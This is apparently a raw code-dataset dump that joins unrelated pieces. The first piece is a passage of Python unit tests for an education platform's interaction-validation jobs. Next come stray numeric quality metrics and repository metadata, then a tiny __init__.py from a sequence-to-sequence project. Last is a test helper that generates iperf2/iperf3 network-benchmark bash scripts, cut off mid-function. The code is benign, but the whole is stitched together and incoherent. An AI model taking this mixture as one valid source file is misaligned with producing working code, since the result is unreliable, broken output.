self.albert_id = self.get_user_id_from_email(self.ALBERT_EMAIL)
self.process_and_flush_pending_mapreduce_tasks()
def test_exp_state_pairs_are_produced_only_for_desired_interactions(self):
"""Checks (exp, state) pairs are produced only for
desired interactions.
"""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1', 'State2'])
state1 = exploration.states['State1']
state2 = exploration.states['State2']
customization_args_dict1 = {
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for ItemSelection</p>',
'content_id': 'ca_choices_1'
}]},
'minAllowableSelectionCount': {'value': 0},
'maxAllowableSelectionCount': {'value': 1}
}
answer_group_list1 = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value1 for ItemSelection</p>'
]}
}, {
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value2 for ItemSelection</p>'
]}
}],
'outcome': {
'dest': 'Introduction',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state1</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state1.update_interaction_id('ItemSelectionInput')
state1.update_interaction_customization_args(customization_args_dict1)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list1)
exp_services.save_new_exploration(self.albert_id, exploration)
# Start ItemSelectionInteractionOneOff job on sample exploration.
job_id = (
interaction_jobs_one_off
.ItemSelectionInteractionOneOffJob.create_new())
interaction_jobs_one_off.ItemSelectionInteractionOneOffJob.enqueue(
job_id)
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.ItemSelectionInteractionOneOffJob.get_output(job_id))
self.assertEqual(actual_output, [])
customization_args_dict2 = {
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for ItemSelection</p>',
'content_id': 'ca_choices_1'
}]},
'minAllowableSelectionCount': {'value': 0},
'maxAllowableSelectionCount': {'value': 1}
}
answer_group_list2 = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value1 for ItemSelection</p>'
]}
}, {
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value3 for ItemSelection</p>'
]}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state2.update_interaction_id('ItemSelectionInput')
state2.update_interaction_customization_args(customization_args_dict2)
state2.update_next_content_id_index(2)
state2.update_interaction_answer_groups(answer_group_list2)
exp_services.save_new_exploration(self.albert_id, exploration)
# Start ItemSelectionInteractionOneOff job on sample exploration.
job_id = (
interaction_jobs_one_off
.ItemSelectionInteractionOneOffJob.create_new())
interaction_jobs_one_off.ItemSelectionInteractionOneOffJob.enqueue(
job_id)
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.ItemSelectionInteractionOneOffJob.get_output(job_id))
expected_output = [(
u'[u\'exp_id0\', '
u'[u\'State2: <p>This is value3 for ItemSelection</p>\']]'
)]
self.assertEqual(actual_output, expected_output)
def test_no_action_is_performed_for_deleted_exploration(self):
"""Test that no action is performed on deleted explorations."""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1'])
state1 = exploration.states['State1']
state1.update_interaction_id('ItemSelectionInput')
customization_args_dict = {
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for ItemSelection</p>',
'content_id': 'ca_choices_1'
}]},
'minAllowableSelectionCount': {'value': 0},
'maxAllowableSelectionCount': {'value': 1}
}
answer_group_list = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value1 for ItemSelection</p>'
]}
}, {
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value3 for ItemSelection</p>'
]}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state1.update_interaction_customization_args(customization_args_dict)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list)
exp_services.save_new_exploration(self.albert_id, exploration)
exp_services.delete_exploration(self.albert_id, self.VALID_EXP_ID)
run_job_for_deleted_exp(
self, interaction_jobs_one_off.ItemSelectionInteractionOneOffJob)
class InteractionCustomizationArgsValidationOneOffJobTests(
test_utils.GenericTestBase):
ALBERT_EMAIL = 'albert@example.com'
ALBERT_NAME = 'albert'
VALID_EXP_ID = 'exp_id0'
NEW_EXP_ID = 'exp_id1'
EXP_TITLE = 'title'
def setUp(self):
super(
InteractionCustomizationArgsValidationOneOffJobTests, self).setUp()
# Setup user who will own the test explorations.
self.signup(self.ALBERT_EMAIL, self.ALBERT_NAME)
self.albert_id = self.get_user_id_from_email(self.ALBERT_EMAIL)
self.process_and_flush_pending_mapreduce_tasks()
def test_for_customization_arg_validation_job(self):
"""Check that expected errors are produced for invalid
customization args.
"""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1', 'State2'])
state1 = exploration.states['State1']
state2 = exploration.states['State2']
state1.update_interaction_id('ItemSelectionInput')
customization_args_dict1 = {
'minAllowableSelectionCount': {'value': 1},
'maxAllowableSelectionCount': {'value': 1},
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}]},
}
state1.update_interaction_customization_args(customization_args_dict1)
exp_services.save_new_exploration(self.albert_id, exploration)
# Start ItemSelectionInteractionOneOff job on sample exploration.
job_id = (
interaction_jobs_one_off
.InteractionCustomizationArgsValidationOneOffJob.create_new())
(
interaction_jobs_one_off
.InteractionCustomizationArgsValidationOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.InteractionCustomizationArgsValidationOneOffJob.get_output(job_id))
self.assertEqual(actual_output, [])
customization_args_dict2 = {
'minAllowableSelectionCount': {'value': '1bθ'},
'maxAllowableSelectionCount': {'value': 1},
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}]},
}
state2.update_interaction_id('ItemSelectionInput')
state2.update_interaction_customization_args(customization_args_dict2)
exp_services.save_new_exploration(self.albert_id, exploration)
# Start ItemSelectionInteractionOneOff job on sample exploration.
job_id = (
interaction_jobs_one_off
.InteractionCustomizationArgsValidationOneOffJob.create_new())
(
interaction_jobs_one_off
.InteractionCustomizationArgsValidationOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.InteractionCustomizationArgsValidationOneOffJob.get_output(job_id))
expected_output = [(
u'[u\'Failed customization args validation for exp id exp_id0\', '
'[u\'ItemSelectionInput: Could not convert unicode to int: '
'1b\\u03b8\']]')]
self.assertEqual(actual_output, expected_output)
def test_no_action_is_performed_for_deleted_exploration(self):
"""Test that no action is performed on deleted explorations."""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1'])
state1 = exploration.states['State1']
state1.update_interaction_id('ItemSelectionInput')
customization_args_dict = {
'minAllowableSelectionCount': {'value': '1b'},
'maxAllowableSelectionCount': {'value': 1},
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}]},
}
state1.update_interaction_customization_args(customization_args_dict)
exp_services.save_new_exploration(self.albert_id, exploration)
exp_services.delete_exploration(self.albert_id, self.VALID_EXP_ID)
run_job_for_deleted_exp(
self,
interaction_jobs_one_off
.InteractionCustomizationArgsValidationOneOffJob)
class RuleInputToCustomizationArgsMappingOneOffJobTests(
test_utils.GenericTestBase):
ALBERT_EMAIL = 'albert@example.com'
ALBERT_NAME = 'albert'
VALID_EXP_ID = 'exp_id0'
NEW_EXP_ID = 'exp_id1'
EXP_TITLE = 'title'
def setUp(self):
super(RuleInputToCustomizationArgsMappingOneOffJobTests, self).setUp()
self.signup(self.ADMIN_EMAIL, self.ADMIN_USERNAME)
self.admin_id = self.get_user_id_from_email(self.ADMIN_EMAIL)
self.set_admins([self.ADMIN_USERNAME])
self.admin = user_services.UserActionsInfo(self.admin_id)
# Setup user who will own the test explorations.
self.signup(self.ALBERT_EMAIL, self.ALBERT_NAME)
self.albert_id = self.get_user_id_from_email(self.ALBERT_EMAIL)
self.process_and_flush_pending_mapreduce_tasks()
def test_exp_state_pairs_are_produced_for_item_selection_interactions(self):
"""Checks (exp, state) pairs are produced correctly for ItemSelection
interactions.
"""
owner = user_services.UserActionsInfo(self.albert_id)
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1', 'State2'])
state1 = exploration.states['State1']
state2 = exploration.states['State2']
customization_args_dict1 = {
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for ItemSelection</p>',
'content_id': 'ca_choices_1'
}]},
'minAllowableSelectionCount': {'value': 0},
'maxAllowableSelectionCount': {'value': 1}
}
answer_group_list1 = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value1 for ItemSelection</p>'
]}
}, {
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value2 for ItemSelection</p>'
]}
}],
'outcome': {
'dest': 'Introduction',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state1</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
solution1 = state_domain.Solution.from_dict('ItemSelectionInput', {
'answer_is_exclusive': True,
'correct_answer': ['<p>This is value2 for DragAndDropSort</p>'],
'explanation': {
'content_id': 'solution',
'html': ''
}
})
hint_list1 = [state_domain.Hint.from_dict({
'hint_content': {
'content_id': 'hint_0',
'html': ''
}
})]
state1.update_interaction_id('ItemSelectionInput')
state1.update_interaction_customization_args(customization_args_dict1)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list1)
exp_services.save_new_exploration(self.albert_id, exploration)
state1.update_interaction_solution(solution1)
state1.update_interaction_hints(hint_list1)
# Start RuleInputToCustomizationArgsMappingOneOffJob job on sample
# exploration.
job_id = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.create_new())
(
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.get_output(job_id))
self.assertEqual(actual_output, [])
customization_args_dict2 = {
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for ItemSelection</p>',
'content_id': 'ca_choices_1'
}]},
'minAllowableSelectionCount': {'value': 0},
'maxAllowableSelectionCount': {'value': 1}
}
answer_group_list2 = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value1 for ItemSelection</p>'
]}
}, {
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value3 for ItemSelection</p>'
]}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
solution2 = state_domain.Solution.from_dict('ItemSelectionInput', {
'answer_is_exclusive': True,
'correct_answer': ['<p>This is value3 for DragAndDropSort</p>'],
'explanation': {
'content_id': 'solution',
'html': ''
}
})
hint_list2 = [state_domain.Hint.from_dict({
'hint_content': {
'content_id': 'hint_0',
'html': ''
}
})]
state2.update_interaction_id('ItemSelectionInput')
state2.update_interaction_customization_args(customization_args_dict2)
state2.update_next_content_id_index(2)
state2.update_interaction_answer_groups(answer_group_list2)
state2.update_interaction_solution(solution2)
state2.update_interaction_hints(hint_list2)
exp_services.save_new_exploration(self.albert_id, exploration)
rights_manager.publish_exploration(owner, self.VALID_EXP_ID)
# Start ItemSelectionInteractionOneOff job on sample exploration.
job_id = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.create_new())
(
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.get_output(job_id))
expected_output = [(
u'[u\'exp_id0\', [u"<ItemSelectionInput Answer> State: State2, '
'Invalid Values: [u\'<p>This is value3 for DragAndDropSort</p>\']"'
', u"<ItemSelectionInput Rule> State: State2, '
'Answer Group Index: 0, Invalid Values: [u\'<p>This is value3 '
'for ItemSelection</p>\']", u"<ItemSelectionInput Answer> State: '
'State1, Invalid Values: [u\'<p>This is value2 for '
'DragAndDropSort</p>\']"]]'
)]
self.assertEqual(actual_output, expected_output)
def test_exp_state_pairs_are_produced_for_drag_and_drop_sort_interactions(
self):
"""Checks (exp, state) pairs are produced correctly for DragAndDropSort
interactions.
"""
owner = user_services.UserActionsInfo(self.albert_id)
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1', 'اختبارات'])
state1 = exploration.states['State1']
state2 = exploration.states['اختبارات']
customization_args_dict1 = {
'choices': {'value': [{
'html': '<p>This is value1 for DragAndDropSort</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for DragAndDropSort</p>',
'content_id': 'ca_choices_1'
}]},
'allowMultipleItemsInSamePosition': {'value': True}
}
answer_group_list1 = [{
'rule_specs': [{
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': [
['<p>This is value1 for DragAndDropSort</p>']
]}
}, {
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': [
['<p>This is value2 for DragAndDropSort</p>']
]}
}],
'outcome': {
'dest': 'Introduction',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state1</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
solution1 = state_domain.Solution.from_dict('DragAndDropSortInput', {
'answer_is_exclusive': True,
'correct_answer': [['<p>This is value2 for DragAndDropSort</p>']],
'explanation': {
'content_id': 'solution',
'html': ''
}
})
hint_list1 = [state_domain.Hint.from_dict({
'hint_content': {
'content_id': 'hint_0',
'html': ''
}
})]
state1.update_interaction_id('DragAndDropSortInput')
state1.update_interaction_customization_args(customization_args_dict1)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list1)
exp_services.save_new_exploration(self.albert_id, exploration)
state1.update_interaction_solution(solution1)
state1.update_interaction_hints(hint_list1)
# Start RuleInputToCustomizationArgsMappingOneOffJob job on sample
# exploration.
job_id = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.create_new())
(
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.get_output(job_id))
self.assertEqual(actual_output, [])
customization_args_dict2 = {
'choices': {'value': [{
'html': '<p>This is value1 for DragAndDropSort</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for DragAndDropSort</p>',
'content_id': 'ca_choices_1'
}]},
'allowMultipleItemsInSamePosition': {'value': True}
}
answer_group_list2 = [{
'rule_specs': [{
'rule_type': 'IsEqualToOrdering',
'inputs': {'x': [
[
'<p>This is value1 for DragAndDropSort</p>',
'<p>This is value3 for DragAndDropSort</p>'
]
]}
}, {
'rule_type': 'HasElementXBeforeElementY',
'inputs': {
'x': '<p>This is value3 for DragAndDropSort</p>',
'y': '<p>This is value1 for DragAndDropSort</p>'
}
}, {
'rule_type': 'HasElementXAtPositionY',
'inputs': {
'x': '<p>This is value3 for DragAndDropSort</p>',
'y': 2
}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
solution2 = state_domain.Solution.from_dict('DragAndDropSortInput', {
'answer_is_exclusive': True,
'correct_answer': [['<p>This is value3 for DragAndDropSort</p>']],
'explanation': {
'content_id': 'solution',
'html': ''
}
})
hint_list2 = [state_domain.Hint.from_dict({
'hint_content': {
'content_id': 'hint_0',
'html': ''
}
})]
state2.update_interaction_id('DragAndDropSortInput')
state2.update_interaction_customization_args(customization_args_dict2)
state2.update_next_content_id_index(2)
state2.update_interaction_answer_groups(answer_group_list2)
state2.update_interaction_solution(solution2)
state2.update_interaction_hints(hint_list2)
exp_services.save_new_exploration(self.albert_id, exploration)
rights_manager.publish_exploration(owner, self.VALID_EXP_ID)
# Start ItemSelectionInteractionOneOff job on sample exploration.
job_id = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.create_new())
(
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.get_output(job_id))
expected_output = [(
u'[u\'exp_id0\', [u"<DragAndDropSortInput Answer> State: '
'\\u0627\\u062e\\u062a\\u0628\\u0627\\u0631\\u0627\\u062a, '
'Invalid Values: [u\'<p>This is value3 for DragAndDropSort</p>\']"'
', u"<DragAndDropSortInput Rule> State: \\u0627\\u062e\\u062a'
'\\u0628\\u0627\\u0631\\u0627\\u062a, Answer Group Index: 0, '
'Invalid Values: [u\'<p>This is value3 for DragAndDropSort</p>\']"'
', u"<DragAndDropSortInput Rule> State: \\u0627\\u062e\\u062a'
'\\u0628\\u0627\\u0631\\u0627\\u062a, Answer Group Index: 0, '
'Invalid Values: [u\'<p>This is value3 for DragAndDropSort</p>\']'
'", u"<DragAndDropSortInput Rule> State: \\u0627\\u062e\\u062a'
'\\u0628\\u0627\\u0631\\u0627\\u062a, Answer Group Index: 0, '
'Invalid Values: [u\'<p>This is value3 for DragAndDropSort<'
'/p>\']"]]'
)]
self.assertEqual(actual_output, expected_output)
rights_manager.unpublish_exploration(self.admin, self.VALID_EXP_ID)
# Start job on private exploration.
job_id = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.create_new())
(
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.enqueue(job_id))
self.process_and_flush_pending_mapreduce_tasks()
actual_output = (
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob.get_output(job_id))
self.assertEqual(actual_output, [])
def test_no_action_is_performed_for_deleted_exploration(self):
"""Test that no action is performed on deleted explorations."""
exploration = exp_domain.Exploration.create_default_exploration(
self.VALID_EXP_ID, title='title', category='category')
exploration.add_states(['State1'])
state1 = exploration.states['State1']
state1.update_interaction_id('ItemSelectionInput')
customization_args_dict = {
'choices': {'value': [{
'html': '<p>This is value1 for ItemSelection</p>',
'content_id': 'ca_choices_0'
}, {
'html': '<p>This is value2 for ItemSelection</p>',
'content_id': 'ca_choices_1'
}]},
'minAllowableSelectionCount': {'value': 0},
'maxAllowableSelectionCount': {'value': 1}
}
answer_group_list = [{
'rule_specs': [{
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value1 for ItemSelection</p>'
]}
}, {
'rule_type': 'Equals',
'inputs': {'x': [
'<p>This is value3 for ItemSelection</p>'
]}
}],
'outcome': {
'dest': 'State1',
'feedback': {
'content_id': 'feedback',
'html': '<p>Outcome for state2</p>'
},
'param_changes': [],
'labelled_as_correct': False,
'refresher_exploration_id': None,
'missing_prerequisite_skill_id': None
},
'training_data': [],
'tagged_skill_misconception_id': None
}]
state1.update_interaction_customization_args(customization_args_dict)
state1.update_next_content_id_index(2)
state1.update_interaction_answer_groups(answer_group_list)
exp_services.save_new_exploration(self.albert_id, exploration)
exp_services.delete_exploration(self.albert_id, self.VALID_EXP_ID)
run_job_for_deleted_exp(
self,
(
interaction_jobs_one_off
.RuleInputToCustomizationArgsMappingOneOffJob)
)
| 37.997054
| 80
| 0.581202
| 4,760
| 51,600
| 5.972269
| 0.068697
| 0.022161
| 0.015759
| 0.035458
| 0.904531
| 0.880751
| 0.872063
| 0.855072
| 0.852047
| 0.841178
| 0
| 0.015548
| 0.314438
| 51,600
| 1,357
| 81
| 38.025055
| 0.788071
| 0.064671
| 0
| 0.829826
| 0
| 0
| 0.225618
| 0.058101
| 0
| 0
| 0
| 0
| 0.016468
| 1
| 0.016468
| false
| 0.000915
| 0.010979
| 0
| 0.054895
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fc147f4bf1839987ccdd99b02958eb4902e42796
| 170
|
py
|
Python
|
stog/modules/seq2seq_encoders/__init__.py
|
sfillwo/stog
|
b02e2dbe8989078ccdc3df611d8b08b63d28fcae
|
[
"MIT"
] | 172
|
2019-11-19T05:52:36.000Z
|
2022-03-26T04:58:24.000Z
|
stog/modules/seq2seq_encoders/__init__.py
|
sfillwo/stog
|
b02e2dbe8989078ccdc3df611d8b08b63d28fcae
|
[
"MIT"
] | 22
|
2019-07-13T09:11:57.000Z
|
2021-11-17T05:30:36.000Z
|
stog/modules/seq2seq_encoders/__init__.py
|
banditelol/stog
|
b965c47c17472eea11ab63aab9aa738af7875f06
|
[
"MIT"
] | 39
|
2019-06-26T11:37:51.000Z
|
2022-03-07T13:30:26.000Z
|
from stog.modules.seq2seq_encoders.pytorch_seq2seq_wrapper import PytorchSeq2SeqWrapper
from stog.modules.seq2seq_encoders.seq2seq_bert_encoder import Seq2SeqBertEncoder
| 56.666667
| 87
| 0.917647
| 20
| 170
| 7.5
| 0.6
| 0.106667
| 0.2
| 0.293333
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0.037037
| 0.047059
| 170
| 2
| 88
| 85
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
fc271cced34e21d28d15cdfb68d1c0b783ea417d
| 9,666
|
py
|
Python
|
lib/tests.py
|
serl/topoblocktest
|
32870f863e128414b0f0f9b786815f38c35d7c73
|
[
"MIT"
] | null | null | null |
lib/tests.py
|
serl/topoblocktest
|
32870f863e128414b0f0f9b786815f38c35d7c73
|
[
"MIT"
] | null | null | null |
lib/tests.py
|
serl/topoblocktest
|
32870f863e128414b0f0f9b786815f38c35d7c73
|
[
"MIT"
] | null | null | null |
import textwrap
from .bash import CommandBlock
def begin():
script = CommandBlock()
script += '#!/bin/bash'
script += 'umask 0000' # as the script will be run as root, this ensures that after you can play around as normal user ;)
script += ''
return script
def counter_increment(**settings):
return 'counter=$(cat {result_file}.count 2>/dev/null) ; echo $((counter + 1)) > {result_file}.count'.format(**settings)
def iperf2(**in_settings):
defaults = {
'tcpdump': False,
'parallelism': 1,
'protocol': 'tcp',
'__udp_param': '',
'packet_size': 'default',
'__packet_size_param': '',
'result_file': None,
'ns1': None,
'ns2': None,
'duration': 30,
}
settings = defaults.copy()
settings.update(in_settings)
settings['counter_increment'] = counter_increment(**settings)
if settings['protocol'] == 'udp':
settings['__udp_param'] = '--udp --bandwidth 100G ' # will generate a warning on the server side, but we don't care
else:
settings['protocol'] = 'tcp'
if settings['packet_size'] != 'default':
if settings['protocol'] == 'udp':
settings['__packet_size_param'] = '--len {} '.format(settings['packet_size'])
else:
settings['__packet_size_param'] = '--mss {} '.format(settings['packet_size'])
for key in ('result_file', 'ns1', 'ns2'):
if settings[key] is None:
raise ValueError('{} missing'.format(key))
settings['duration'] = int(settings['duration'])
if settings['duration'] < 5:
raise ValueError('Duration must be integer >= 5')
settings['kill_after'] = settings['duration'] + 15
settings['iostat_interval'] = 5
settings['iostat_count'] = settings['duration'] // settings['iostat_interval']
script = CommandBlock()
script += textwrap.dedent("""
mkdir -p `dirname {result_file}`
ip netns exec {ns1} iperf -s {__udp_param} &>/dev/null & IPERF_PID=$!
if [ "{tcpdump}" == True ]; then #tcpdump
ip netns exec {ns1} tcpdump -s 96 -w {result_file}.pcap &>/dev/null & TCPDUMP_PID=$!
fi
server_addr=$(ip netns exec {ns1} ip addr show scope global | grep inet | cut -d' ' -f6 | cut -d/ -f1)
echo -n "Running iperf2 over {protocol} (with {parallelism} clients)... "
sleep 1
(LC_ALL=C iostat -c {iostat_interval} {iostat_count} | awk 'FNR==3 {{ header = $0; print }} FNR!=1 && $0 != header && $0' > {result_file}.cpu.temp) & IOSTAT_PID=$! # CPU monitoring
iperf2out="$(ip netns exec {ns2} timeout --signal=KILL {kill_after} iperf --time {duration} {__udp_param}{__packet_size_param} --client $server_addr --reportstyle C --parallel {parallelism})"
wait $IOSTAT_PID
expected_lines={parallelism}
[ '{protocol}' == 'udp' ] && [ '{packet_size}' -ge 52 ] && expected_lines=$((expected_lines * 2))
[ {parallelism} -gt 1 ] && expected_lines=$((expected_lines + 1))
output_lines=$(echo "$iperf2out" | wc -l)
if [ $expected_lines == $output_lines ]; then
master_line=$(echo "$iperf2out" | grep ',-1,')
echo measured $(numfmt --to=iec --suffix=b/s ${{master_line##*,}})
echo 'begin' >> {result_file}.iperf2
echo "$iperf2out" >> {result_file}.iperf2
cat {result_file}.cpu.temp >> {result_file}.cpu
{counter_increment}
sleep 5 #let the load decrease
else
echo error
fi
rm {result_file}.cpu.temp
kill $IPERF_PID $TCPDUMP_PID
wait
sleep 1
""").format(**settings)
return script
def iperf3(**in_settings):
defaults = {
'tcpdump': False,
'parallelism': 1,
'protocol': 'tcp',
'__udp_param': '',
'packet_size': 'default',
'__packet_size_param': '',
'result_file': None,
'ns1': None,
'ns2': None,
'duration': 30,
'zerocopy': False,
'__zerocopy_param': '',
'affinity': False,
'__affinity_param': '',
}
settings = defaults.copy()
settings.update(in_settings)
settings['counter_increment'] = counter_increment(**settings)
for key in ('result_file', 'ns1', 'ns2'):
if settings[key] is None:
raise ValueError('{} missing'.format(key))
if settings['protocol'] == 'udp':
settings['__udp_param'] = '--udp --bandwidth 0 '
else:
settings['protocol'] = 'tcp'
if settings['packet_size'] != 'default':
if settings['protocol'] == 'udp':
settings['__packet_size_param'] = '--length {} '.format(settings['packet_size'])
else:
settings['__packet_size_param'] = '--set-mss {} '.format(settings['packet_size'])
if settings['zerocopy']:
settings['__zerocopy_param'] = '--zerocopy '
if settings['affinity']:
settings['__affinity_param'] = '--affinity 0,1 '
settings['duration'] = int(settings['duration'])
if settings['duration'] < 5:
raise ValueError('Duration must be integer >= 5')
settings['kill_after'] = settings['duration'] + 15
settings['iostat_interval'] = 5
settings['iostat_count'] = settings['duration'] // settings['iostat_interval']
script = CommandBlock()
script += textwrap.dedent("""
mkdir -p `dirname {result_file}`
ip netns exec {ns1} iperf3 -s --interval 0 &>/dev/null & IPERF_PID=$!
if [ "{tcpdump}" == True ]; then #tcpdump
ip netns exec {ns1} tcpdump -s 96 -w {result_file}.pcap &>/dev/null & TCPDUMP_PID=$!
fi
server_addr=$(ip netns exec {ns1} ip addr show scope global | grep inet | cut -d' ' -f6 | cut -d/ -f1)
echo -n "Running iperf3 over {protocol} (with {parallelism} clients)... "
sleep 1
(LC_ALL=C iostat -c {iostat_interval} {iostat_count} | awk 'FNR==3 {{ header = $0; print }} FNR!=1 && $0 != header && $0' > {result_file}.cpu.temp) & IOSTAT_PID=$! # CPU monitoring
ip netns exec {ns2} timeout --signal=KILL {kill_after} iperf3 --time {duration} --interval 0 {__affinity_param}{__zerocopy_param}{__udp_param}{__packet_size_param} --parallel {parallelism} --client $server_addr --json >> {result_file}.iperf3
iperf_exitcode=$?
wait $IOSTAT_PID
if [ $iperf_exitcode == 0 ]; then
echo success
cat {result_file}.cpu.temp >> {result_file}.cpu
{counter_increment}
sleep 5 #let the load decrease
else
echo error
fi
rm {result_file}.cpu.temp
kill $IPERF_PID $TCPDUMP_PID
wait
sleep 1
""").format(**settings)
return script
def iperf3m(**in_settings):
defaults = {
'tcpdump': False,
'parallelism': 1,
'protocol': 'tcp',
'__udp_param': '',
'packet_size': 'default',
'__packet_size_param': '',
'result_file': None,
'ns1': None,
'ns2': None,
'duration': 30,
'zerocopy': False,
'__zerocopy_param': '',
'affinity': False,
}
settings = defaults.copy()
